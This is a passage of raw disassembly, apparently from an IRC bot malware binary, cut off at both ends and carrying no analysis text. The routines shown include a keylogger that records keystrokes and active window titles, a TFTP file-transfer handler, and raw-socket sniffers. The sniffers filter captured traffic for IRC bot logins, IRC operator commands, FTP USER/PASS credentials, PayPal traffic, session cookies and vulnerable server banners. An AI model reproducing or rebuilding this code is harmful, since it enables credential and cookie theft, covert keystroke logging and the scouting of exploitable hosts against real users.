sub_41206F+2E1j lea eax, [ebp+var_778] push eax call sub_415A3C pop ecx jmp loc_412491 ; --------------------------------------------------------------------------- loc_412387: ; CODE XREF: sub_41206F+257j cmp [ebp+var_CF], 4 jnz loc_41247B mov cl, [ebp+var_CD] mov al, [ebp+var_CE] cmp cl, 0FFh mov [ebp+var_578], bl mov [ebp+var_577], 3 jnz short loc_4123BE inc al xor cl, cl mov [ebp+var_575], bl jmp short loc_4123C6 ; --------------------------------------------------------------------------- loc_4123BE: ; CODE XREF: sub_41206F+341j inc cl mov [ebp+var_575], cl loc_4123C6: ; CODE XREF: sub_41206F+34Dj mov [ebp+var_576], al mov edi, 200h movzx eax, al movzx ecx, cl shl eax, 8 add eax, ecx push ebx shl eax, 9 sub eax, edi push eax push [ebp+var_4] call sub_420FE0 push [ebp+var_4] lea eax, [ebp+var_574] push edi push 1 push eax call sub_41E180 add esp, 1Ch mov edi, eax lea eax, [ebp+var_3C] mov [ebp+var_8], edi push [ebp+var_C] push eax lea eax, [edi+4] push ebx push eax lea eax, [ebp+var_578] push eax push esi call ds:dword_4E302C ; sendto cmp edi, ebx jnz short loc_412491 lea eax, [ebp+var_50] push eax lea eax, [ebp+var_778] push offset aTftpTransferCo ; "Tftp transfer complete to: %s" push eax call sub_41EA60 add esp, 0Ch cmp [ebp+var_D8], ebx jnz short loc_412466 push ebx lea eax, [ebp+var_778] push [ebp+var_DC] push eax lea eax, [ebp+var_15C] push eax push [ebp+var_374] call sub_409C75 add esp, 14h loc_412466: ; CODE XREF: sub_41206F+3D2j lea eax, [ebp+var_778] push eax call sub_415A3C inc ds:dword_4E5AC8 pop ecx jmp short loc_412491 ; --------------------------------------------------------------------------- loc_41247B: ; CODE XREF: sub_41206F+24Aj ; sub_41206F+31Fj push [ebp+var_C] lea eax, [ebp+var_3C] push eax push ebx push 9 push offset dword_44B698 push esi call ds:dword_4E302C ; sendto loc_412491: ; CODE XREF: sub_41206F+1E9j ; sub_41206F+313j ... cmp [ebp+var_8], ebx jg loc_4121FF mov edi, [ebp+arg_0] loc_41249D: ; CODE XREF: sub_41206F+199j push esi call ds:dword_4E3060 ; closesocket push [ebp+var_4] call sub_41BCF0 dec [ebp+var_164] cmp [edi+2A0h], ebx pop ecx jnz short loc_4124CE push [ebp+var_168] call sub_40B9A7 pop ecx push ebx call ds:dword_4F53A0 ; ExitThread loc_4124CE: ; CODE XREF: sub_41206F+44Aj push 3E8h call ds:dword_4F534C ; Sleep push edi loc_4124DA: ; CODE XREF: sub_41206F+125j call sub_41206F pop edi pop esi pop ebx leave retn 4 sub_41206F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4124E6 proc near ; CODE XREF: sub_4125C5+B4p ; sub_4125C5+247p var_314 = byte ptr -314h var_114 = byte ptr -114h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = byte ptr 14h arg_8C = dword ptr 94h arg_90 = dword ptr 98h push ebp mov ebp, esp sub esp, 314h lea eax, [ebp+var_10] push esi push eax call ds:dword_4F5404 ; GetLocalTime lea eax, [ebp+var_114] push 104h push eax call ds:dword_4F5348 ; GetSystemDirectoryA lea eax, [ebp+var_114] push offset dword_44BE14 push eax call sub_41F630 lea eax, [ebp+var_114] push offset dword_43F108 push eax call sub_41F630 lea eax, [ebp+var_114] push offset dword_44BE18 push eax call sub_41E490 mov esi, eax add esp, 18h test esi, esi jnz short loc_41254B inc eax jmp short loc_4125C2 ; --------------------------------------------------------------------------- loc_41254B: ; CODE XREF: sub_4124E6+60j movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n" push esi call sub_41F4E0 push esi call sub_41BCF0 add esp, 28h cmp [ebp+arg_90], 0 jnz short loc_4125C0 push [ebp+arg_0] lea eax, [ebp+var_314] push offset dword_44BE38 push 200h push eax call sub_41EC30 push 0 lea eax, [ebp+var_314] push [ebp+arg_8C] push eax lea eax, [ebp+arg_C] push eax push [ebp+arg_4] call sub_409C75 add esp, 24h loc_4125C0: ; CODE XREF: sub_4124E6+A1j xor eax, eax loc_4125C2: ; CODE XREF: sub_4124E6+63j pop esi leave retn sub_4124E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4125C5 proc near ; DATA XREF: sub_401C87+44DAo var_8DC = dword ptr -8DCh var_8D8 = byte ptr -8D8h var_4DC = byte ptr -4DCh var_2DD = byte ptr -2DDh var_2DC = byte ptr -2DCh var_DC = byte ptr -0DCh var_D8 = dword ptr -0D8h var_48 = byte ptr -48h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8DCh mov eax, [ebp+arg_0] push ebx push esi push edi and [ebp+var_8DC], 0 push 25h and [ebp+var_4], 0 pop ecx mov esi, eax lea edi, [ebp+var_DC] rep movsd mov dword ptr [eax+90h], 1 mov ecx, 0FFh xor eax, eax lea edi, [ebp+var_8D8] rep stosd call ds:dword_4E2F4C ; GetForegroundWindow lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call ds:dword_4E2F64 ; GetWindowTextA mov ebx, 200h loc_412620: ; CODE XREF: sub_4125C5+2BBj push 8 call ds:dword_4F534C ; Sleep call ds:dword_4E2F4C ; GetForegroundWindow cmp eax, [ebp+var_8] jz short loc_4126A8 lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call ds:dword_4E2F64 ; GetWindowTextA lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax lea eax, [ebp+var_4DC] push offset aSChangedWindow ; "%s (Changed Windows: %s)" push eax call sub_41EA60 sub esp, 84h lea esi, [ebp+var_DC] lea eax, [ebp+var_4DC] push 25h pop ecx mov edi, esp push eax rep movsd call sub_4124E6 mov [ebp+var_4], eax push ebx lea eax, [ebp+var_2DC] push 0 push eax call sub_41E4B0 add esp, 0A4h lea eax, [ebp+var_4DC] push ebx push 0 push eax call sub_41E4B0 add esp, 0Ch loc_4126A8: ; CODE XREF: sub_4125C5+6Cj mov [ebp+arg_0], offset dword_44B6AC loc_4126AF: ; CODE XREF: sub_4125C5+2B1j push 10h call ds:dword_4E2E9C ; GetKeyState movsx esi, ax mov eax, [ebp+arg_0] mov edi, [eax-4] push edi call ds:dword_4E2F94 ; GetAsyncKeyState test ah, ah jns short loc_412746 push 14h call ds:dword_4E2E9C ; GetKeyState test ax, ax jz short loc_4126F7 cmp esi, 0FFFFFFFFh jle short loc_4126F7 cmp edi, 40h jle short loc_4126F7 cmp edi, 5Bh jge short loc_4126F7 mov [ebp+edi*4+var_8DC], 1 jmp loc_41286B ; --------------------------------------------------------------------------- loc_4126F7: ; CODE XREF: sub_4125C5+111j ; sub_4125C5+116j ... push 14h call ds:dword_4E2E9C ; GetKeyState test ax, ax jz short loc_412722 test esi, esi jge short loc_412736 cmp edi, 40h jle short loc_412722 cmp edi, 5Bh jge short loc_412722 mov [ebp+edi*4+var_8DC], 2 jmp loc_41286B ; --------------------------------------------------------------------------- loc_412722: ; CODE XREF: sub_4125C5+13Dj ; sub_4125C5+146j ... test esi, esi jge short loc_412736 mov [ebp+edi*4+var_8DC], 3 jmp loc_41286B ; --------------------------------------------------------------------------- loc_412736: ; CODE XREF: sub_4125C5+141j ; sub_4125C5+15Fj mov [ebp+edi*4+var_8DC], 4 jmp loc_41286B ; --------------------------------------------------------------------------- loc_412746: ; CODE XREF: sub_4125C5+104j lea eax, [ebp+edi*4+var_8DC] mov esi, [eax] test esi, esi jz loc_41286B and dword ptr [eax], 0 lea eax, [ebp+var_2DC] push eax call sub_41BC70 cmp edi, 8 pop ecx jnz short loc_412779 and [ebp+eax+var_2DD], 0 jmp loc_41286B ; --------------------------------------------------------------------------- loc_412779: ; CODE XREF: sub_4125C5+1A5j cmp eax, 1B9h jbe short loc_4127A5 call ds:dword_4E2F4C ; GetForegroundWindow lea ecx, [ebp+var_48] push 3Ch push ecx push eax call ds:dword_4E2F64 ; GetWindowTextA lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax push offset aSBufferFullS ; "%s (Buffer full) (%s)" jmp short loc_4127E6 ; --------------------------------------------------------------------------- loc_4127A5: ; CODE XREF: sub_4125C5+1B9j cmp edi, 0Dh jnz loc_41283D lea eax, [ebp+var_2DC] push eax call sub_41BC70 test eax, eax pop ecx jz loc_41286B call ds:dword_4E2F4C ; GetForegroundWindow lea ecx, [ebp+var_48] push 3Ch push ecx push eax call ds:dword_4E2F64 ; GetWindowTextA lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax push offset aSReturnS ; "%s (Return) (%s)" loc_4127E6: ; CODE XREF: sub_4125C5+1DEj lea eax, [ebp+var_4DC] push eax call sub_41EA60 sub esp, 84h lea esi, [ebp+var_DC] lea eax, [ebp+var_4DC] push 25h pop ecx mov edi, esp push eax rep movsd call sub_4124E6 mov [ebp+var_4], eax push ebx lea eax, [ebp+var_2DC] push 0 push eax call sub_41E4B0 add esp, 0A4h lea eax, [ebp+var_4DC] push ebx push 0 push eax call sub_41E4B0 add esp, 0Ch jmp short loc_41286B ; --------------------------------------------------------------------------- loc_41283D: ; CODE XREF: sub_4125C5+1E3j cmp esi, 1 jz short loc_412856 cmp esi, 3 jz short loc_412856 cmp esi, 2 jz short loc_412851 cmp esi, 4 jnz short loc_41286B loc_412851: ; CODE XREF: sub_4125C5+285j push [ebp+arg_0] jmp short loc_41285D ; --------------------------------------------------------------------------- loc_412856: ; CODE XREF: sub_4125C5+27Bj ; sub_4125C5+280j mov eax, [ebp+arg_0] add eax, 7 push eax loc_41285D: ; CODE XREF: sub_4125C5+28Fj lea eax, [ebp+var_2DC] push eax call sub_41F630 pop ecx pop ecx loc_41286B: ; CODE XREF: sub_4125C5+12Dj ; sub_4125C5+158j ... add [ebp+arg_0], 14h cmp [ebp+arg_0], offset dword_44BDDC jl loc_4126AF cmp [ebp+var_4], 0 jz loc_412620 push [ebp+var_D8] call sub_40B9A7 pop ecx push 0 call ds:dword_4F53A0 ; ExitThread sub_4125C5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41289A proc near ; DATA XREF: sub_401C87+4106o var_102B4 = byte ptr -102B4h var_102AB = byte ptr -102ABh var_102A8 = dword ptr -102A8h var_102A0 = dword ptr -102A0h var_10293 = byte ptr -10293h var_1028C = byte ptr -1028Ch var_2B4 = byte ptr -2B4h var_B4 = dword ptr -0B4h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 102B4h call sub_41EF80 mov edx, [ebp+arg_0] push esi push edi push 25h xor eax, eax pop ecx mov esi, edx lea edi, [ebp+var_B4] inc eax push 10h rep movsd mov [ebp+var_8], eax mov [edx+90h], eax xor esi, esi lea eax, [ebp+var_1C] push esi push eax call sub_41E4B0 add esp, 0Ch mov [ebp+var_1C], 2 push esi call ds:dword_4E2FC8 ; htons push [ebp+var_B4] mov [ebp+var_1A], ax call sub_40AEAD pop ecx push eax call ds:dword_4E3008 ; inet_addr push esi push 3 push 2 mov [ebp+var_18], eax call ds:dword_4E3048 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_4], edi jnz short loc_41296F call ds:dword_4E2F5C ; WSAGetLastError push eax lea eax, [ebp+var_2B4] push offset dword_44C718 push eax call sub_41EA60 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_412952 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_409C75 add esp, 14h loc_412952: ; CODE XREF: sub_41289A+96j lea eax, [ebp+var_2B4] push eax call sub_415A3C push [ebp+var_30] call sub_40B9A7 pop ecx pop ecx push esi call ds:dword_4F53A0 ; ExitThread loc_41296F: ; CODE XREF: sub_41289A+76j mov eax, [ebp+var_30] push 10h imul eax, 234h mov ds:dword_455F0C[eax], edi lea eax, [ebp+var_1C] push eax push edi call ds:dword_4E2FF4 ; bind cmp eax, 0FFFFFFFFh jnz short loc_4129F4 call ds:dword_4E2F5C ; WSAGetLastError push eax lea eax, [ebp+var_2B4] push offset dword_44C744 push eax call sub_41EA60 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_4129D0 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_409C75 add esp, 14h loc_4129D0: ; CODE XREF: sub_41289A+114j lea eax, [ebp+var_2B4] push eax call sub_415A3C pop ecx push edi call ds:dword_4E3060 ; closesocket push [ebp+var_30] call sub_40B9A7 pop ecx push esi call ds:dword_4F53A0 ; ExitThread loc_4129F4: ; CODE XREF: sub_41289A+F4j push esi lea eax, [ebp+var_20] push esi push eax push esi push esi lea eax, [ebp+var_8] push 4 push eax push 98000001h push edi call ds:dword_4E2F74 ; WSAIoctl cmp eax, 0FFFFFFFFh jnz short loc_412A77 call ds:dword_4E2F5C ; WSAGetLastError push eax lea eax, [ebp+var_2B4] push offset dword_44C770 push eax call sub_41EA60 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_412A53 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_409C75 add esp, 14h loc_412A53: ; CODE XREF: sub_41289A+197j lea eax, [ebp+var_2B4] push eax call sub_415A3C pop ecx push edi call ds:dword_4E3060 ; closesocket push [ebp+var_30] call sub_40B9A7 pop ecx push esi call ds:dword_4F53A0 ; ExitThread loc_412A77: ; CODE XREF: sub_41289A+177j push ebx mov ebx, offset dword_44BEC0 loc_412A7D: ; CODE XREF: sub_41289A+21Cj ; sub_41289A+22Ej ... push 0FFFFh lea eax, [ebp+var_102B4] push esi push eax call sub_41E4B0 add esp, 0Ch lea eax, [ebp+var_102B4] push esi push 0FFFFh push eax push edi call ds:dword_4E2FE0 ; recv cmp eax, 0FFFFFFFFh jz loc_412BA6 cmp [ebp+var_102AB], 6 jnz short loc_412A7D mov eax, [ebp+var_102A8] cmp [ebp+var_10293], 18h mov [ebp+var_C], eax jnz short loc_412A7D lea eax, [ebp+var_1028C] push offset aPsniff_0 ; "[PSNIFF]" push eax call sub_41EBB0 pop ecx test eax, eax pop ecx jnz short loc_412A7D lea eax, [ebp+var_1028C] push offset dword_44C7AC push eax call sub_41EBB0 pop ecx test eax, eax pop ecx jnz short loc_412A7D xor edi, edi mov eax, ebx mov [ebp+arg_0], ebx loc_412AFF: ; CODE XREF: sub_41289A+280j push eax lea eax, [ebp+var_1028C] push eax call sub_41EBB0 pop ecx test eax, eax pop ecx jnz short loc_412B24 inc edi add [ebp+arg_0], 18h mov eax, [ebp+arg_0] jnz short loc_412AFF loc_412B1C: ; CODE XREF: sub_41289A+307j mov edi, [ebp+var_4] jmp loc_412A7D ; --------------------------------------------------------------------------- loc_412B24: ; CODE XREF: sub_41289A+276j lea eax, [ebp+var_1028C] push eax push [ebp+var_102A0] call ds:dword_4E2EF8 ; htons movzx eax, ax push eax push [ebp+var_C] call ds:dword_4E3054 ; inet_ntoa push eax lea eax, [edi+edi*2] mov eax, ds:dword_44BED4[eax*8] push ds:off_44BEAC[eax*4] lea eax, [ebp+var_2B4] push offset dword_44C7BC push 200h push eax call sub_41EC30 add esp, 1Ch cmp [ebp+var_28], esi jnz short loc_412B94 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_409C75 add esp, 14h loc_412B94: ; CODE XREF: sub_41289A+2D8j lea eax, [ebp+var_2B4] push eax call sub_415A3C pop ecx jmp loc_412B1C ; --------------------------------------------------------------------------- loc_412BA6: ; CODE XREF: sub_41289A+20Fj call ds:dword_4E2F5C ; WSAGetLastError push eax push offset dword_44C7F0 lea eax, [ebp+var_2B4] push 200h push eax call sub_41EC30 add esp, 10h cmp [ebp+var_28], esi pop ebx jnz short loc_412BEC push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_409C75 add esp, 14h loc_412BEC: ; CODE XREF: sub_41289A+330j lea eax, [ebp+var_2B4] push eax call sub_415A3C pop ecx push edi call ds:dword_4E3060 ; closesocket push [ebp+var_30] call sub_40B9A7 pop ecx push esi call ds:dword_4F53A0 ; ExitThread sub_41289A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_412C10 proc near ; CODE XREF: sub_412F1F+216p ; sub_412F1F+240p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ds:dword_4E5D28, eax mov eax, offset dword_4E5D28 retn sub_412C10 endp ; =============== S U B R O U T I N E ======================================= sub_412C1F proc near ; CODE XREF: sub_412F1F+2B7p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aBotSniff ; "Bot sniff" push esi call sub_41EBB0 pop ecx test eax, eax pop ecx jz short loc_412C39 loc_412C35: ; CODE XREF: sub_412C1F+29j ; sub_412C1F+3Aj ... xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412C39: ; CODE XREF: sub_412C1F+14j push offset a0 ; "#0#" push esi call sub_41EBB0 pop ecx test eax, eax pop ecx jnz short loc_412C35 push offset aPsniff_1 ; "[PSNIFF]:" push esi call sub_41EBB0 pop ecx test eax, eax pop ecx jnz short loc_412C35 push offset aPsniff_2 ; "PSNIFF//" push esi call sub_41EBB0 pop ecx test eax, eax pop ecx jnz short loc_412C35 push offset aJoin_1 ; "JOIN #" push esi call sub_41EBB0 pop ecx test eax, eax pop ecx jz short loc_412C81 loc_412C7D: ; CODE XREF: sub_412C1F+71j ; sub_412C1F+82j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_412C81: ; CODE XREF: sub_412C1F+5Cj push offset a302_0 ; "302 " push esi call sub_41EBB0 pop ecx test eax, eax pop ecx jnz short loc_412C7D push offset a366 ; "366 " push esi call sub_41EBB0 pop ecx test eax, eax pop ecx jnz short loc_412C7D push offset a_login ; ":.login" push esi call sub_41EBB0 pop ecx test eax, eax pop ecx jnz short loc_412C7D push offset aLogin_1 ; ":!login" push esi call sub_41EBB0 pop ecx test eax, eax pop ecx jnz short loc_412C7D push offset aLogin_2 ; ":!Login" push esi call sub_41EBB0 pop ecx test eax, eax pop ecx jnz short loc_412C7D push offset a_login_0 ; ":.Login" push esi call sub_41EBB0 pop ecx test eax, eax pop ecx jnz short loc_412C7D push offset a_ident ; ":.ident" push esi call sub_41EBB0 pop ecx test eax, eax pop ecx jnz short loc_412C7D push offset aIdent_0 ; ":!ident" push esi call sub_41EBB0 pop ecx test eax, eax pop ecx jnz loc_412C7D push offset a_hashin ; ":.hashin" push esi call sub_41EBB0 pop ecx test eax, eax pop ecx jnz loc_412C7D push offset aHashin ; ":!hashin" push esi call sub_41EBB0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412C1F endp ; =============== S U B R O U T I N E ======================================= sub_412D36 proc near ; CODE XREF: sub_412F1F:loc_413205p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aIrcSniff ; "IRC sniff" push esi call sub_41EBB0 pop ecx test eax, eax pop ecx jz short loc_412D50 loc_412D4C: ; CODE XREF: sub_412D36+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412D50: ; CODE XREF: sub_412D36+14j push offset a0 ; "#0#" push esi call sub_41EBB0 pop ecx test eax, eax pop ecx jnz short loc_412D4C push offset aOper ; "OPER " push esi call sub_41EBB0 pop ecx test eax, eax pop ecx jz short loc_412D76 loc_412D72: ; CODE XREF: sub_412D36+4Fj ; sub_412D36+60j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_412D76: ; CODE XREF: sub_412D36+3Aj push offset aNick_3 ; "NICK " push esi call sub_41EBB0 pop ecx test eax, eax pop ecx jnz short loc_412D72 push offset aOper_0 ; "oper " push esi call sub_41EBB0 pop ecx test eax, eax pop ecx jnz short loc_412D72 push offset aYouAreNowAnIrc ; "You are now an IRC Operator" push esi call sub_41EBB0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412D36 endp ; =============== S U B R O U T I N E ======================================= sub_412DAC proc near ; CODE XREF: sub_412F1F:loc_413231p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aFtpSniff ; "FTP sniff" push esi call sub_41EBB0 pop ecx test eax, eax pop ecx jz short loc_412DC6 loc_412DC2: ; CODE XREF: sub_412DAC+29j ; sub_412DAC+3Aj xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412DC6: ; CODE XREF: sub_412DAC+14j push offset a0 ; "#0#" push esi call sub_41EBB0 pop ecx test eax, eax pop ecx jnz short loc_412DC2 push offset aNick_2 ; "NICK " push esi call sub_41EBB0 pop ecx test eax, eax pop ecx jnz short loc_412DC2 push offset a220 ; "220 " push esi call sub_41EBB0 pop ecx test eax, eax pop ecx jz short loc_412DFD loc_412DF9: ; CODE XREF: sub_412DAC+60j ; sub_412DAC+71j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_412DFD: ; CODE XREF: sub_412DAC+4Bj push offset a230 ; "230 " push esi call sub_41EBB0 pop ecx test eax, eax pop ecx jnz short loc_412DF9 push offset aUser_2 ; "USER " push esi call sub_41EBB0 pop ecx test eax, eax pop ecx jnz short loc_412DF9 push offset aPass_0 ; "PASS " push esi call sub_41EBB0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412DAC endp ; =============== S U B R O U T I N E ======================================= sub_412E33 proc near ; CODE XREF: sub_412F1F+345p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aHttpSniff ; "HTTP sniff" push esi call sub_41EBB0 pop ecx test eax, eax pop ecx jz short loc_412E4D loc_412E49: ; CODE XREF: sub_412E33+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412E4D: ; CODE XREF: sub_412E33+14j push offset a0 ; "#0#" push esi call sub_41EBB0 pop ecx test eax, eax pop ecx jnz short loc_412E49 push offset aPaypal ; "paypal" push esi call sub_41EBB0 pop ecx test eax, eax pop ecx jz short loc_412E73 loc_412E6F: ; CODE XREF: sub_412E33+4Fj ; sub_412E33+60j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_412E73: ; CODE XREF: sub_412E33+3Aj push offset aPaypal_0 ; "PAYPAL" push esi call sub_41EBB0 pop ecx test eax, eax pop ecx jnz short loc_412E6F push offset aPaypal_com ; "PAYPAL.COM" push esi call sub_41EBB0 pop ecx test eax, eax pop ecx jnz short loc_412E6F push offset aPaypal_com_0 ; "paypal.com" push esi call sub_41EBB0 pop ecx test eax, eax pop ecx jnz short loc_412E6F push offset aSetCookie ; "Set-Cookie:" push esi call sub_41EBB0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412E33 endp ; =============== S U B R O U T I N E ======================================= sub_412EBA proc near ; CODE XREF: sub_412F1F:loc_4132CCp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aVulnSniff ; "VULN sniff" push esi call sub_41EBB0 pop ecx test eax, eax pop ecx jz short loc_412ED4 loc_412ED0: ; CODE XREF: sub_412EBA+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412ED4: ; CODE XREF: sub_412EBA+14j push offset a0 ; "#0#" push esi call sub_41EBB0 pop ecx test eax, eax pop ecx jnz short loc_412ED0 push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6" push esi call sub_41EBB0 pop ecx test eax, eax pop ecx jz short loc_412EFA loc_412EF6: ; CODE XREF: sub_412EBA+4Fj mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_412EFA: ; CODE XREF: sub_412EBA+3Aj push offset aServUFtpServer ; "Serv-U FTP Server" push esi call sub_41EBB0 pop ecx test eax, eax pop ecx jnz short loc_412EF6 push offset aOpenssh_2 ; "OpenSSH_2" push esi call sub_41EBB0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412EBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412F1F proc near ; DATA XREF: sub_401C87+4254o var_113B8 = byte ptr -113B8h var_113AF = byte ptr -113AFh var_113AC = dword ptr -113ACh var_113A8 = dword ptr -113A8h var_113A4 = dword ptr -113A4h var_1138C = byte ptr -1138Ch var_13B8 = byte ptr -13B8h var_BB8 = byte ptr -0BB8h var_3B8 = byte ptr -3B8h var_3B7 = byte ptr -3B7h var_2B8 = byte ptr -2B8h var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 113B8h call sub_41EF80 mov eax, [ebp+arg_0] push ebx push esi push edi push 25h mov esi, eax pop ecx lea edi, [ebp+var_B8] rep movsd xor esi, esi push 3Fh inc esi xor ebx, ebx mov [eax+90h], esi pop ecx loc_412F4D: ; DATA XREF: _2:off_4516C0o ; _2:off_4516C4o xor eax, eax lea edi, [ebp+var_3B7] mov [ebp+var_3B8], bl push 0FFh rep stosd stosw lea eax, [ebp+var_3B8] mov [ebp+var_20], 2 push eax mov [ebp+var_1E], bx mov [ebp+var_1C], ebx call ds:dword_4E2FDC ; gethostname lea eax, [ebp+var_3B8] push eax call ds:dword_4E304C ; gethostbyname movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] push ecx push dword ptr [eax] lea eax, [ebp+var_8] push eax call sub_41FBF0 mov eax, [ebp+var_8] add esp, 0Ch mov [ebp+var_1C], eax push ebx push 3 push 2 call ds:dword_4E3048 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_412FC5 pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_412FC5: ; CODE XREF: sub_412F1F+9Bj lea eax, [ebp+var_20] push 10h push eax push edi call ds:dword_4E2FF4 ; bind cmp eax, 0FFFFFFFFh jnz short loc_41303B call ds:dword_4E2F5C ; WSAGetLastError push eax lea eax, [ebp+var_2B8] push offset unk_44C990 push eax call sub_41EA60 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_413017 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409C75 add esp, 14h loc_413017: ; CODE XREF: sub_412F1F+D6j lea eax, [ebp+var_2B8] push eax call sub_415A3C pop ecx push edi call ds:dword_4E3060 ; closesocket push [ebp+var_34] call sub_40B9A7 pop ecx push ebx call ds:dword_4F53A0 ; ExitThread loc_41303B: ; CODE XREF: sub_412F1F+B6j push ebx lea eax, [ebp+var_24] push ebx push eax push ebx push ebx lea eax, [ebp+var_C] push 4 push eax push 98000001h push edi mov [ebp+var_C], esi call ds:dword_4E2F74 ; WSAIoctl cmp eax, 0FFFFFFFFh jnz short loc_4130C1 call ds:dword_4E2F5C ; WSAGetLastError push eax lea eax, [ebp+var_2B8] push offset unk_44C9BC push eax call sub_41EA60 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_41309D push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409C75 add esp, 14h loc_41309D: ; CODE XREF: sub_412F1F+15Cj lea eax, [ebp+var_2B8] push eax call sub_415A3C pop ecx push edi call ds:dword_4E3060 ; closesocket push [ebp+var_34] call sub_40B9A7 pop ecx push ebx call ds:dword_4F53A0 ; ExitThread loc_4130C1: ; CODE XREF: sub_412F1F+13Cj mov esi, 200h loc_4130C6: ; CODE XREF: sub_412F1F+1D6j ; sub_412F1F+1FFj ... mov edi, 0FFFFh lea eax, [ebp+var_113B8] push edi push ebx push eax call sub_41E4B0 add esp, 0Ch lea eax, [ebp+var_113B8] push ebx push edi push eax push [ebp+var_10] call ds:dword_4E2FE0 ; recv cmp [ebp+var_113AF], 6 jnz short loc_4130C6 push [ebp+var_113A4] call ds:dword_4F5500 ; htons push [ebp+var_113A4+2] movzx edi, ax mov [ebp+var_4], edi call ds:dword_4F5500 ; htons movzx eax, ax cmp edi, 6Eh mov [ebp+arg_0], eax jz short loc_4130C6 cmp edi, 19h jz short loc_4130C6 cmp eax, 6Eh jz short loc_4130C6 cmp eax, 19h jz short loc_4130C6 push [ebp+var_113AC] call sub_412C10 mov edi, ds:dword_4F5504 add esp, 4 push dword ptr [eax] call edi ; inet_ntoa push eax lea eax, [ebp+var_13B8] push offset aS_27 ; "%s" push eax call sub_41EA60 push [ebp+var_113A8] call sub_412C10 add esp, 10h push dword ptr [eax] call edi ; inet_ntoa push eax lea eax, [ebp+var_BB8] push offset aS_28 ; "%s" push eax call sub_41EA60 lea eax, [ebp+var_1138C] xor edi, edi push eax call sub_41BC70 add esp, 10h test eax, eax jle short loc_4131BB loc_413192: ; CODE XREF: sub_412F1F+29Aj lea eax, [ebp+edi+var_1138C] cmp byte ptr 